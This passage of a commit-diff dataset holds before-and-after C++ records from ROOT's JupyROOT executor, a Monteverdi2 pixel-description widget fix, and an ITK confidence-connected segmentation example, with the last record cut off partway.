(gInterpreter->ProcessLine(code, &err)) {\n         status = true;\n      }\n\n      if (err == TInterpreter::kProcessing) {\n         gInterpreter->ProcessLine(\".@\");\n         gInterpreter->ProcessLine(\"cerr << \\\"Unbalanced curly braces. This cell was not processed.\\\" << endl;\");\n      }\n   } catch (...) {\n      status = true;\n   }\n\n   return status;\n}\n\nbool JupyROOTDeclarerImpl(const char *code)\n{\n   auto status = false;\n   try {\n      if (gInterpreter->Declare(code)) {\n         status = true;\n      }\n   } catch (...) {\n      status = true;\n   }\n   return status;\n}\n\nextern \"C\" {\n\n   int JupyROOTExecutor(const char *code)\n   {\n      return JupyROOTExecutorImpl(code);\n   }\n   int JupyROOTDeclarer(const char *code)\n   {\n      return JupyROOTDeclarerImpl(code);\n   }\n\n   void JupyROOTExecutorHandler_Clear()\n   {\n      JupyROOTExecutorHandler_ptr->Clear();\n   }\n\n   void JupyROOTExecutorHandler_Ctor()\n   {\n      if (!JupyROOTExecutorHandler_ptr) {\n         JupyROOTExecutorHandler_ptr = new JupyROOTExecutorHandler();\n      }\n   }\n\n   void JupyROOTExecutorHandler_Poll()\n   {\n      JupyROOTExecutorHandler_ptr->Poll();\n   }\n\n   void JupyROOTExecutorHandler_EndCapture()\n   {\n      JupyROOTExecutorHandler_ptr->EndCapture();\n   }\n\n   void JupyROOTExecutorHandler_InitCapture()\n   {\n      JupyROOTExecutorHandler_ptr->InitCapture();\n   }\n\n   const char *JupyROOTExecutorHandler_GetStdout()\n   {\n      return JupyROOTExecutorHandler_ptr->GetStdout().c_str();\n   }\n\n   const char *JupyROOTExecutorHandler_GetStderr()\n   {\n      return JupyROOTExecutorHandler_ptr->GetStderr().c_str();\n   }\n\n   void JupyROOTExecutorHandler_Dtor()\n   {\n      if (!JupyROOTExecutorHandler_ptr) return;\n      delete JupyROOTExecutorHandler_ptr;\n      JupyROOTExecutorHandler_ptr = nullptr;\n   }\n\n}\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Monteverdi2\n  Language:  C++\n\n\n  Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n  See Copyright.txt for details.\n\n  Monteverdi2 is distributed under the CeCILL licence version 2. See\n  Licence_CeCILL_V2-en.txt or\n  http:\/\/www.cecill.info\/licences\/Licence_CeCILL_V2-en.txt for more details.\n\n  This software is distributed WITHOUT ANY WARRANTY; without even\n  the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n  PURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"Gui\/mvdPixelDescriptionWidget.h\"\n#include \"Gui\/ui_mvdPixelDescriptionWidget.h\"\n\n\n\/*****************************************************************************\/\n\/* INCLUDE SECTION                                                           *\/\n\n\/\/\n\/\/ Qt includes (sorted by alphabetic order)\n\/\/\/\/ Must be included before system\/custom includes.\n\n\/\/\n\/\/ System includes (sorted by alphabetic order)\n\n\/\/\n\/\/ ITK includes (sorted by alphabetic order)\n\n\/\/\n\/\/ OTB includes (sorted by alphabetic order)\n\n\/\/\n\/\/ Monteverdi includes (sorted by alphabetic order)\n#include \"Core\/mvdAlgorithm.h\"\n\nnamespace mvd\n{\n\/*\n  TRANSLATOR mvd::PixelDescriptionWidget\n\n  Necessary for lupdate to be aware of C++ namespaces.\n\n  Context comment for translator.\n*\/\n\n\n\/*****************************************************************************\/\n\/* CONSTANTS                                                                 *\/\n\n\n\/*****************************************************************************\/\n\/* STATIC IMPLEMENTATION SECTION                                             *\/\n\n\n\/*****************************************************************************\/\n\/* CLASS IMPLEMENTATION SECTION                                              *\/\n\n\/*******************************************************************************\/\nPixelDescriptionWidget\n::PixelDescriptionWidget( QWidget* parent, Qt::WindowFlags flags  ):\n  QWidget( parent, flags ),\n  m_UI( new mvd::Ui::PixelDescriptionWidget() )\n{\n  m_UI->setupUi( this );\n\n  SetupUI();\n}\n\n\/*******************************************************************************\/\nPixelDescriptionWidget\n::~PixelDescriptionWidget()\n{\n}\n\n\/*******************************************************************************\/\nvoid\nPixelDescriptionWidget\n::SetupUI()\n{\n  \/\/\n  \/\/ Cartographic coordiantes\n  m_CartographicRootItem = new QTreeWidgetItem( GetDescriptionTree() ); \n  m_CartographicRootItem->setText(0, tr(\"Cartographic\"));\n  m_CartographicRootItem->setExpanded(true);\n\n  m_CartographicItem = new QTreeWidgetItem( m_CartographicRootItem );\n  m_CartographicItem->setText(0, tr(\"Coordinates\"));\n\n  \/\/\n  \/\/ Geographic coordiantes\n  m_GeographicRootItem = new QTreeWidgetItem( GetDescriptionTree() );\n  m_GeographicRootItem->setText(0, tr(\"Geographic\"));\n  m_GeographicRootItem->setExpanded(true);\n\n  m_GeographicItem = new QTreeWidgetItem( m_GeographicRootItem );  \n  m_GeographicItem->setText(0, tr(\"Coordinates\"));\n\n  \/\/\n  \/\/ Child items will be created + updated in a dedicated slot\n  m_PixelValueRootItem = new QTreeWidgetItem( GetDescriptionTree() ); \n  m_PixelValueRootItem->setText(0, tr(\"Pixel Values\"));\n  m_PixelValueRootItem->setExpanded(true);\n}\n\n\/*******************************************************************************\/\nQTreeWidget *\nPixelDescriptionWidget\n::GetDescriptionTree()\n{\n  return m_UI->m_DescriptionTree;\n}\n\n\/*******************************************************************************\/\n\/* SLOTS                                                                       *\/\n\/*******************************************************************************\/\nvoid\nPixelDescriptionWidget\n::OnCurrentPhysicalUpdated(const QString & currentPhysical)\n{\n  m_CartographicItem->setText(1, currentPhysical);\n}\n\n\/*******************************************************************************\/\nvoid\nPixelDescriptionWidget\n::OnCurrentGeographicUpdated(const QString & currentGeo)\n{\n  m_GeographicItem->setText(1, currentGeo);\n}\n\n\/*******************************************************************************\/\nvoid\nPixelDescriptionWidget\n::OnCurrentPixelValueUpdated(const VectorImageType::PixelType & currentPixel, \n                             const QStringList& bandNames)\n{\n  \/\/ \n  assert( bandNames.size()==currentPixel.GetSize() );\n\n  \/\/\n  \/\/ remove the previous QTreeWidgetItem  of m_PixelValueRootItem\n  while( m_PixelValueRootItem->childCount()>0 )\n    {\n    \/\/ Remove QTreeWidgetItem\n    QTreeWidgetItem* child = m_PixelValueRootItem->takeChild( 0 );\n\n    \/\/ Delete it from memory.\n    delete child;\n    child = NULL;\n    }\n  \n  \/\/ fill with the new values\n  for (unsigned int idx = 0; idx < currentPixel.GetSize(); idx++)\n    {\n    QTreeWidgetItem * iBandItem = new QTreeWidgetItem( m_PixelValueRootItem );\n    \n    \/\/ figure out if a band name is available, if not use Band idx\n    if ( bandNames[idx].isEmpty() )\n      {\n      iBandItem->setText(0, QString( tr(\"Band\") )+ QString(\" %1\").arg(idx) );\n      }\n    else\n      {\n      iBandItem->setText(0, bandNames[ idx ] );\n      }\n    \/\/ set the value\n    iBandItem->setText(1, QString(\"%1\").arg(currentPixel.GetElement( idx )) );\n    }\n}\n\n\/*******************************************************************************\/\n\n} \/\/ end namespace 'mvd'\n<commit_msg>ENH: handle proprely bandnames<commit_after>\/*=========================================================================\n\n  Program:   Monteverdi2\n  Language:  C++\n\n\n  Copyright (c) Centre National d'Etudes Spatiales. All rights reserved.\n  See Copyright.txt for details.\n\n  Monteverdi2 is distributed under the CeCILL licence version 2. See\n  Licence_CeCILL_V2-en.txt or\n  http:\/\/www.cecill.info\/licences\/Licence_CeCILL_V2-en.txt for more details.\n\n  This software is distributed WITHOUT ANY WARRANTY; without even\n  the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR\n  PURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n#include \"Gui\/mvdPixelDescriptionWidget.h\"\n#include \"Gui\/ui_mvdPixelDescriptionWidget.h\"\n\n\n\/*****************************************************************************\/\n\/* INCLUDE SECTION                                                           *\/\n\n\/\/\n\/\/ Qt includes (sorted by alphabetic order)\n\/\/\/\/ Must be included before system\/custom includes.\n\n\/\/\n\/\/ System includes (sorted by alphabetic order)\n\n\/\/\n\/\/ ITK includes (sorted by alphabetic order)\n\n\/\/\n\/\/ OTB includes (sorted by alphabetic order)\n\n\/\/\n\/\/ Monteverdi includes (sorted by alphabetic order)\n#include \"Core\/mvdAlgorithm.h\"\n\nnamespace mvd\n{\n\/*\n  TRANSLATOR mvd::PixelDescriptionWidget\n\n  Necessary for lupdate to be aware of C++ namespaces.\n\n  Context comment for translator.\n*\/\n\n\n\/*****************************************************************************\/\n\/* CONSTANTS                                                                 *\/\n\n\n\/*****************************************************************************\/\n\/* STATIC IMPLEMENTATION SECTION                                             *\/\n\n\n\/*****************************************************************************\/\n\/* CLASS IMPLEMENTATION SECTION                                              *\/\n\n\/*******************************************************************************\/\nPixelDescriptionWidget\n::PixelDescriptionWidget( QWidget* parent, Qt::WindowFlags flags  ):\n  QWidget( parent, flags ),\n  m_UI( new mvd::Ui::PixelDescriptionWidget() )\n{\n  m_UI->setupUi( this );\n\n  SetupUI();\n}\n\n\/*******************************************************************************\/\nPixelDescriptionWidget\n::~PixelDescriptionWidget()\n{\n}\n\n\/*******************************************************************************\/\nvoid\nPixelDescriptionWidget\n::SetupUI()\n{\n  \/\/\n  \/\/ Cartographic coordiantes\n  m_CartographicRootItem = new QTreeWidgetItem( GetDescriptionTree() ); \n  m_CartographicRootItem->setText(0, tr(\"Cartographic\"));\n  m_CartographicRootItem->setExpanded(true);\n\n  m_CartographicItem = new QTreeWidgetItem( m_CartographicRootItem );\n  m_CartographicItem->setText(0, tr(\"Coordinates\"));\n\n  \/\/\n  \/\/ Geographic coordiantes\n  m_GeographicRootItem = new QTreeWidgetItem( GetDescriptionTree() );\n  m_GeographicRootItem->setText(0, tr(\"Geographic\"));\n  m_GeographicRootItem->setExpanded(true);\n\n  m_GeographicItem = new QTreeWidgetItem( m_GeographicRootItem );  \n  m_GeographicItem->setText(0, tr(\"Coordinates\"));\n\n  \/\/\n  \/\/ Child items will be created + updated in a dedicated slot\n  m_PixelValueRootItem = new QTreeWidgetItem( GetDescriptionTree() ); \n  m_PixelValueRootItem->setText(0, tr(\"Pixel Values\"));\n  m_PixelValueRootItem->setExpanded(true);\n}\n\n\/*******************************************************************************\/\nQTreeWidget *\nPixelDescriptionWidget\n::GetDescriptionTree()\n{\n  return m_UI->m_DescriptionTree;\n}\n\n\/*******************************************************************************\/\n\/* SLOTS                                                                       *\/\n\/*******************************************************************************\/\nvoid\nPixelDescriptionWidget\n::OnCurrentPhysicalUpdated(const QString & currentPhysical)\n{\n  m_CartographicItem->setText(1, currentPhysical);\n}\n\n\/*******************************************************************************\/\nvoid\nPixelDescriptionWidget\n::OnCurrentGeographicUpdated(const QString & currentGeo)\n{\n  m_GeographicItem->setText(1, currentGeo);\n}\n\n\/*******************************************************************************\/\nvoid\nPixelDescriptionWidget\n::OnCurrentPixelValueUpdated(const VectorImageType::PixelType & currentPixel, \n                             const QStringList& bandNames)\n{\n  \/\/\n  \/\/ remove the previous QTreeWidgetItem  of m_PixelValueRootItem\n  while( m_PixelValueRootItem->childCount()>0 )\n    {\n    \/\/ Remove QTreeWidgetItem\n    QTreeWidgetItem* child = m_PixelValueRootItem->takeChild( 0 );\n\n    \/\/ Delete it from memory.\n    delete child;\n    child = NULL;\n    }\n  \n  \/\/ fill with the new values\n  for (unsigned int idx = 0; idx < currentPixel.GetSize(); idx++)\n    {\n    QTreeWidgetItem * iBandItem = new QTreeWidgetItem( m_PixelValueRootItem );\n    \n    \/\/ figure out if a band name is available, if not use Band idx\n    if ( bandNames.size()==currentPixel.GetSize() && !bandNames[idx].isEmpty() )\n      {\n      iBandItem->setText(0, bandNames[ idx ] );\n      }\n    else\n      {\n      iBandItem->setText(0, QString( tr(\"Band\") )+ QString(\" %1\").arg(idx) );\n      }\n    \/\/ set the value\n    iBandItem->setText(1, QString(\"%1\").arg(currentPixel.GetElement( idx )) );\n    }\n}\n\n\/*******************************************************************************\/\n\n} \/\/ end namespace 'mvd'\n<|endoftext|>"}
{"text":"<commit_before>\/*=========================================================================\n\n  Program:   Insight Segmentation & Registration Toolkit\n  Module:    ConfidenceConnected.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n  Copyright (c) 2002 Insight Consortium. All rights reserved.\n  See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even \n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n     PURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\/\/ Software Guide : BeginLatex\n\/\/\n\/\/ The following example illustrates the use of the\n\/\/ \\code{itk::ConfidenceConnectedImageFilter}. This filter is based on the use\n\/\/ of the flood fill iterator. Most of the algorithmic complexity of a region\n\/\/ growing method comes from the strategy used for visiting the neighbor\n\/\/ pixels. The flood fill iterator assumes this responsibility and greatly\n\/\/ simplifies the implementation of a region growing approach. The work left to\n\/\/ the algorithm is to establish a criterion for deciding whether a particular\n\/\/ pixel should be included in the current region or not.\n\/\/\n\/\/ \\index{itk::FloodFillIterator!In Region Growing}\n\/\/ \\index{itk::ConfidenceConnectedImageFilter|textbf}\n\/\/ \\index{itk::ConfidenceConnectedImageFilter!header}\n\/\/\n\/\/ The criterion used by the \\code{ConfidenceConnectedImageFilter} is based on\n\/\/ simple statistics of the current region. First, the algorithm computes the\n\/\/ mean and standard deviation of intensity values for all the pixels currently\n\/\/ included in the region. A user-provided factor is used to multiply the\n\/\/ standard deviation and define a range aroun the mean. Neighbor pixels whose\n\/\/ intensity values fall inside the range are accepted to be included in the\n\/\/ region. When no more neighbor pixes are found that can satisfy the\n\/\/ criterion, the algorithm considered to have finished its first iteration. At\n\/\/ that point, the mean and standard deviation of intensity levels are\n\/\/ recomputed using all the pixels currently included in the region. These mean\n\/\/ and standard deviation define a new intensity range that is used for\n\/\/ visiting the current neighbors in search of pixels whose intensity falls\n\/\/ inside the range.  This iterative process is repated a number of times as\n\/\/ defined by the user. The following equation illustrates the inclusion \n\/\/ criterion used by this filter.\n\/\/\n\/\/ \\begin{equation}\n\/\/ I(\\mathbf{X}) \\in [ m - f \\sigma , m + f \\sigma ]\n\/\/ \\end{equation}\n\/\/\n\/\/ where $m$ and $\\sigma$ are the mean and standard deviation of the  region\n\/\/ intensities, $f$ is a factor defined by the user. $I()$ is the image and\n\/\/ $\\mathbf{X}$ is the position of the particular neighbor pixel being\n\/\/ considered for inclusion in the region.\n\/\/\n\/\/ Let's look at the minimal code required to use this algorithm. First, the\n\/\/ following header defining the \\code{ConfidenceConnectedImageFilter} class\n\/\/ must be included.\n\/\/\n\/\/ Software Guide : EndLatex \n\n\n\/\/ Software Guide : BeginCodeSnippet\n#include \"itkConfidenceConnectedImageFilter.h\"\n\/\/ Software Guide : EndCodeSnippet\n\n\n#include \"itkImage.h\"\n#include \"itkCastImageFilter.h\"\n\n\n\n\/\/  Software Guide : BeginLatex\n\/\/\n\/\/  Noise present in the image can reduce the capacity of this filter to grow\n\/\/  large regions. When faced with noisy images, it is usually convenient to\n\/\/  pre-process the image by using an edge-preserving smoothing filter. Any of\n\/\/  the filters discussed in section \\ref{sec:EdgePreservingSmoothingFilers}\n\/\/  could be used to this end. In this particular example we use the\n\/\/  \\code{CurvatureFlowImageFilter}, henceforth we need to include its header\n\/\/  file.\n\/\/\n\/\/  Software Guide : EndLatex \n\n\/\/ Software Guide : BeginCodeSnippet\n#include \"itkCurvatureFlowImageFilter.h\"\n\/\/ Software Guide : EndCodeSnippet\n\n\n\n\n#include \"itkImageFileReader.h\"\n#include \"itkImageFileWriter.h\"\n\n\nint main( int argc, char **argv )\n{\n\n\n  if( argc < 5 )\n    {\n    std::cerr << \"Missing Parameters \" << std::endl;\n    std::cerr << \"Usage: \" << argv[0];\n    std::cerr << \" inputImage  outputImage seedX seedY \" << std::endl;\n    return 1;\n    }\n\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/  \n  \/\/  We declare now the image type using a pixel type and a particular\n  \/\/  dimension. In this case the \\code{float} type is used for the pixels due\n  \/\/  to the requirements of the smoothing filter. \n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  typedef   float           InternalPixelType;\n  const     unsigned int    Dimension = 2;\n  \n  typedef itk::Image< InternalPixelType, Dimension >  InternalImageType;\n  \/\/ Software Guide : EndCodeSnippet\n\n\n  typedef unsigned char OutputPixelType;\n  typedef itk::Image< OutputPixelType, Dimension > OutputImageType;\n\n  typedef itk::CastImageFilter< \n                        InternalImageType, \n                        OutputImageType    >    CastingFilterType;\n  \n  CastingFilterType::Pointer caster = CastingFilterType::New();\n                        \n  \/\/\n  \/\/ We instantiate reader and writer types\n  \/\/\n  typedef  itk::ImageFileReader< InternalImageType > ReaderType;\n  typedef  itk::ImageFileWriter<  OutputImageType  > WriterType;\n\n  ReaderType::Pointer reader = ReaderType::New();\n  WriterType::Pointer writer = WriterType::New();\n\n  reader->SetFileName( argv[1] );\n  writer->SetFileName( argv[2] );\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/  \n  \/\/  \n  \/\/  The smoothing filter type is instantiated using the image type as\n  \/\/  template parameter.\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  typedef   itk::CurvatureFlowImageFilter< \n                               InternalImageType, \n                               InternalImageType >  CurvatureFlowImageFilterType;\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/  \n  \/\/  Then, the filter is created by invoking the \\code{New()} method and\n  \/\/  assigning the result to a \\code{SmartPointer}.\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  CurvatureFlowImageFilterType::Pointer smoothing = \n                         CurvatureFlowImageFilterType::New();\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/  \n  \/\/  We declare now the type of the region growing filter. In this case it is\n  \/\/  the \\code{itk::ConfidenceConectedImageFilter}. \n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  typedef  itk::ConfidenceConnectedImageFilter< \n                                    InternalImageType, \n                                    InternalImageType > ConnectedFilterType;\n  \/\/ Software Guide : EndCodeSnippet\n\n  \/\/  Software Guide : BeginLatex\n  \/\/  \n  \/\/  then, we  construct one filter of this class using the \\code{New()} method. \n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  ConnectedFilterType::Pointer confidenceConnected = ConnectedFilterType::New();\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/  \n  \/\/  Now is time for connecting the pipeline. This is pretty linear in our\n  \/\/  example. A file reader is added at the beginning of the pipeline and a\n  \/\/  caster filter and writer are added at the end. The caster filter is\n  \/\/  required here to convert \\code{float} pixel types to the integers types\n  \/\/  since only a few image file formats support \\code{float} types.\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  smoothing->SetInput( reader->GetOutput() );\n\n  confidenceConnected->SetInput( smoothing->GetOutput() );\n\n  caster->SetInput( confidenceConnected->GetOutput() );\n\n  writer->SetInput( caster->GetOutput() );\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/\n  \/\/  The \\code{CurvatureFlowImageFilter} requires a couple of parameter to be\n  \/\/  defined. The following are typical values for $2D$ images. However they\n  \/\/  may have to be adjusted depending on the amount of noise present in the\n  \/\/  input image.\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  smoothing->SetNumberOfIterations( 5 );\n\n  smoothing->SetTimeStep( 0.25 );\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/\n  \/\/  The \\code{ConfidenceConnectedImageFilter} has two parameters to be\n  \/\/  defined. First, the factor $f$ that the defines how large the range of\n  \/\/  intensities will be. Small values of the multiplier will restrict the\n  \/\/  inclusion of pixels to those having very similar intensities to those in\n  \/\/  the current region. Larger values of the multiplier will relax the\n  \/\/  accepting condition and will result in more generous growth of the\n  \/\/  region. Too large values will make the region ingest neighbor regions in\n  \/\/  the image that may actually belong to separate anatomical structures.\n  \/\/\n  \/\/  \\index{itk::ConfidenceConnectedImageFilter!SetMultiplier()}\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  confidenceConnected->SetMultiplier( 2.5 );\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/\n  \/\/  The number of iteration may be decided based on how homogeneous are the\n  \/\/  intensities on the anatomical structure to be segmented. Very homogeneous\n  \/\/  regions may require only a couple of iterations. Regions with ramp\n  \/\/  effects, like for example MRI images with inhomogenous fields may require\n  \/\/  more iterations. In practice, it seems to be more relevant to carefully\n  \/\/  select the multiplier factor rather than the number of iterations.\n  \/\/  However keep in mind that there is no reason to assumet that this\n  \/\/  algorithm should converge to a stable region. It is possible that by\n  \/\/  letting the algorithm run for more iterations the region will end up\n  \/\/  engulfing the entire image.\n  \/\/\n  \/\/  \\index{itk::ConfidenceConnectedImageFilter!SetNumberOfIterations()}\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  confidenceConnected->SetNumberOfIterations( 5 );\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/\n  \/\/  The output of this filter is a binary image with zero-value pixels every\n  \/\/  where except on the extracted region. The intensity value to be put\n  \/\/  inside the region is selected with the method \\code{SetReplaceValue()}\n  \/\/\n  \/\/  \\index{itk::ConfidenceConnectedImageFilter!SetReplaceValue()}\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  confidenceConnected->SetReplaceValue( 255 );\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/\n  \/\/  The initialization of the algorithm requires the user to provide a seed\n  \/\/  point. It is convenient to select this point to be placed in a\n  \/\/  \\emph{typical} region of the anatomical structure to be segmented. A\n  \/\/  small neighborhood around the seed point will be used to compute the\n  \/\/  initial mean and standard deviation for the inclusion criterion. The seed\n  \/\/  is passed in the form of a \\code{Index} to the \\code{SetSeed()} method.\n  \/\/\n  \/\/  \\index{itk::ConfidenceConnectedImageFilter!SetSeed()}\n  \/\/  \\index{itk::ConfidenceConnectedImageFilter!SetInitialNeighborhoodRadius()}\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  InternalImageType::IndexType  index;\n  \n  index[0] = atoi( argv[3] );\n  index[1] = atoi( argv[4] );\n\n\n  \/\/ Software Guide : BeginCodeSnippet\n  confidenceConnected->SetSeed( index );\n  \/\/ Software Guide : EndCodeSnippet\n \n\n  \/\/  Software Guide : BeginLatex\n  \/\/\n  \/\/  \n  \/\/  The size of the initial neighborhood around the seed is defined with the\n  \/\/  method \\code{SetInitialNeighborhoodRadius()}. The neighborhood will be\n  \/\/  defined as an $N$-Dimensional rectangular region with $2r+1$ pixels on\n  \/\/  the side, where $r$ is the value passed as initial neighborhood radius. \n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  confidenceConnected->SetInitialNeighborhoodRadius( 2 );\n  \/\/ Software Guide : EndCodeSnippet\n\n\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/  \n  \/\/  The invokation of the \\code{Update()} method on the writer triggers the\n  \/\/  execution of the pipeline.  It is usually wise to put update calls in\n  \/\/  \\code{try\/catch} block in case error ocurr and exceptions are thrown.\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n  \/\/ Software Guide : BeginCodeSnippet\n  try\n    {\n    writer->Update();\n    }\n  catch( itk::ExceptionObject & excep )\n    {\n    std::cerr << \"Exception caught !\" << std::endl;\n    std::cerr << excep << std::endl;\n    }\n  \/\/ Software Guide : EndCodeSnippet\n\n\n  \/\/  Software Guide : BeginLatex\n  \/\/\n  \/\/  Let's now run this example using as input the image\n  \/\/  \\code{BrainProtonDensitySlice.png} provided in the directory\n  \/\/  \\code{Insight\/Examples\/Data}. We can easily segment the major anatomical\n  \/\/  structures by providing seeds in the appropriate locations. For example\n  \/\/\n  \/\/  \\begin{center}\n  \/\/  \\begin{tabular}{|l|c|c|}\n  \/\/  \\hline\n  \/\/  Structure & Seed Index & Output Image \\\\\n  \/\/  \\hline\n  \/\/  White matter & $(60,116)$ & Second from left in Figure \\ref{fig:ConfidenceConnectedOutput} \\\\ \n  \/\/  Ventricle    & $(81,112)$ & Third  from left in Figure \\ref{fig:ConfidenceConnectedOutput} \\\\ \n  \/\/  Gray matter  & $(107,69)$ & Fouth  from left in Figure \\ref{fig:ConfidenceConnectedOutput} \\\\ \n  \/\/  \\hline\n  \/\/  \\end{tabular}\n  \/\/  \\end{center}\n  \/\/\n  \/\/ \\begin{figure} \\center\n  \/\/ \\includegraphics[width=4cm]{BrainProtonDensitySlice.eps}\n  \/\/ \\includegraphics[width=4cm]{ConfidenceConnectedOutput1.eps}\n  \/\/ \\includegraphics[width=4cm]{ConfidenceConnectedOutput2.eps}\n  \/\/ \\includegraphics[width=4cm]{ConfidenceConnectedOutput3.eps}\n  \/\/ \\caption{Segmentation results of the ConfidenceConnected filter for various seed points.}\n  \/\/ \\label{fig:ConfidenceConnectedOutput}\n  \/\/ \\end{figure}\n  \/\/\n  \/\/  As it is always the case with medical images, the results of\n  \/\/  segmentations should not be blindly accepted. Neigbbor anatomical\n  \/\/  structures may have similar characteristics when viewed in the current\n  \/\/  image modality and may have been absorbed by the current region. However\n  \/\/  this kind of segmentation results are a good start for a more refined\n  \/\/  post-processing stage in which anatomical knowledge may be included.\n  \/\/\n  \/\/  Software Guide : EndLatex \n\n\n\n\n  return 0;\n\n}\n\n\n\n\n<commit_msg>DOC: Minor fixes, mainly typos.<commit_after>\/*=========================================================================\n\n  Program:   Insight Segmentation & Registration Toolkit\n  Module:    ConfidenceConnected.cxx\n  Language:  C++\n  Date:      $Date$\n  Version:   $Revision$\n\n  Copyright (c) 2002 Insight Consortium. All rights reserved.\n  See ITKCopyright.txt or http:\/\/www.itk.org\/HTML\/Copyright.htm for details.\n\n     This software is distributed WITHOUT ANY WARRANTY; without even \n     the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR \n     PURPOSE.  See the above copyright notices for more information.\n\n=========================================================================*\/\n\n\/\/ Software Guide : BeginLatex\n\/\/\n\/\/ The following example illustrates the use of the\n\/\/ \\code{itk::ConfidenceConnectedImageFilter}. This filter is based on the use\n\/\/ of the flood fill iterator. Most of the algorithmic complexity of a region\n\/\/ growing method comes from the strategy used for visiting the neighbor\n\/\/ pixels. The flood fill iterator assumes this responsibility and greatly\n\/\/ simplifies the implementation of a region growing approach. The work left to\n\/\/ the algorithm is to establish a criterion for deciding whether a particular\n\/\/ pixel should be included in the current region or not.\n\/\/\n\/\/ \\index{itk::FloodFillIterator!In Region Growing}\n\/\/ \\index{itk::ConfidenceConnectedImageFilter|textbf}\n\/\/ \\index{itk::ConfidenceConnectedImageFilter!header}\n\/\/\n\/\/ The criterion used by the \\code{ConfidenceConnectedImageFilter} is based on\n\/\/ simple statistics of the current region. First, the algorithm computes the\n\/\/ mean and standard deviation of intensity values for all the pixels currently\n\/\/ included in the region. A user-provided factor is used to multiply the\n\/\/ standard deviation and define a range aroun the mean. Neighbor pixels whose\n\/\/ intensity values fall inside the range are accepted to be included in the\n\/\/ region. When no more neighbor pixes are found that can satisfy the\n\/\/ criterion, the algorithm considered to have finished its first iteration. At\n\/\/ that point, the mean and standard deviation of intensity levels are\n\/\/ recomputed using all the pixels currently included in the region. These mean\n\/\/ and standard deviation define a new intensity range that is used for\n\/\/ visiting the current neighbors in search of pixels whose intensity falls\n\/\/ inside the range.  This iterative process is repated a number of times as\n\/\/ defined by the user. The following equation illustrates the inclusion \n\/\/ criterion used by this filter.\n\/\/\n\/\/ \\begin{equation}\n\/\/ I(\\mathbf{X}) \\in [ m - f \\sigma , m + f \\sigma ]\n\/\/ \\end{equation}\n\/\/\n\/\/ where $m$ and $\\sigma$ are the mean and standard deviation of the  region\n\/\/ intensities, $f$ is a factor defined by the user. $I()$ is the image and\n\/\/ $\\mathbf{X}$ is the position of the particular neighbor pixel being\n\/\/ considered for inclusion in the region.\n\/\/\n\/\/ Let's look at the minimal code required to use this algorithm. First, the\n\/\/ following header defining the \\code{ConfidenceConnectedImageFilter} class\n\/\/ must be included.\n\/\/\n\/\/ Software Guide : EndLatex \n\n\n\/\/ Software Guide : BeginCodeSnippet\n#include \"itkConfidenceConnectedImageFilter.h\"\n\/\/ Software Guide : EndCodeSnippet\n\n\n#include \"itkImage.h\"\n#include \"itkCastImageFilter.h\"\n\n\n\n\/\/  Software Guide : BeginLatex\n\/\/\n\/\/  Noise present in the image can reduce the capacity of this filter to grow\n\/\/  large regions. When faced with noisy images, it is usually convenient to\n\/\/  pre-process the image by using an edge-preserving smoothing filter. Any of\n\/\/  the filters discussed in section \\ref{sec:EdgePreservingSmoothingFilers}\n\/\/  could be used to this end. In this particular example we use the\n\/\/  \\code{CurvatureFlowImageFilter}, henceforth we need to include its header\n\/\/  file.\n\/\/\n\/\/  Software Guide : EndLatex \n\n\/\/ Software Guide : BeginCodeSnippet\n#include \"itkCurvatureFlowImageFilter.h\"\n\/\/ Software Guide : EndCodeSnippet\n\n\n\n\n#include \"itkImageFileReader.h\"\n#include \"itkImageFileWriter.h\"\n\n\nint main( int argc, char **argv )\n{\n\n\n  if( argc < 5 )\n    {\n    std::cerr << 